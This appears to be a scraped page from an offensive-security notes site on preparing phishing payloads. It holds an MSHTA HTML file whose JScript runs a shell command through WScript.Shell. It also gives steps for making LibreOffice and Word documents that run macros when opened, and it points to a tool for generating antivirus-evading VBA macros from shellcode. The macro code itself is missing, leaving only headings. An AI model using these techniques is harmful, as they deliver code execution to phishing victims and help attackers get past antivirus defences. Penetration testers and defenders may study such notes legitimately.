Phishing Payload

Prepare for phishing payload

MSHTA

# simple ping


<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("ping -n 3 10.10.x.y");
</script>
</head>

<body>
<script language="JScript">
self.close();
</script>
</body>
</html>

LibreOffice (Linux)

If your target have script to open the document, use LibreOffice is a simple way.

  1. Write Documents

  2. Create Macros

Macro payload:

  1. Tools > Customize > Events [Open Document]

  1. Save Document.

Microsoft Word

make sure you save the document as doc or docm. just try that both for your payload.

  1. Write Documents

  2. Create Macros

circle-info

Macro payload

check the encoded payload below:

Bypass All The Thingschevron-right
  1. Save Document.

Macro

BadAssMacro

Bypass antivirus with this auto genreated macro:

https://github.com/Inf0secRabbit/BadAssMacrosarrow-up-right

Generate shellcode with format raw

Generate VBA

Copy paste the out.txt to VBA Script.

Standard Format

Last updated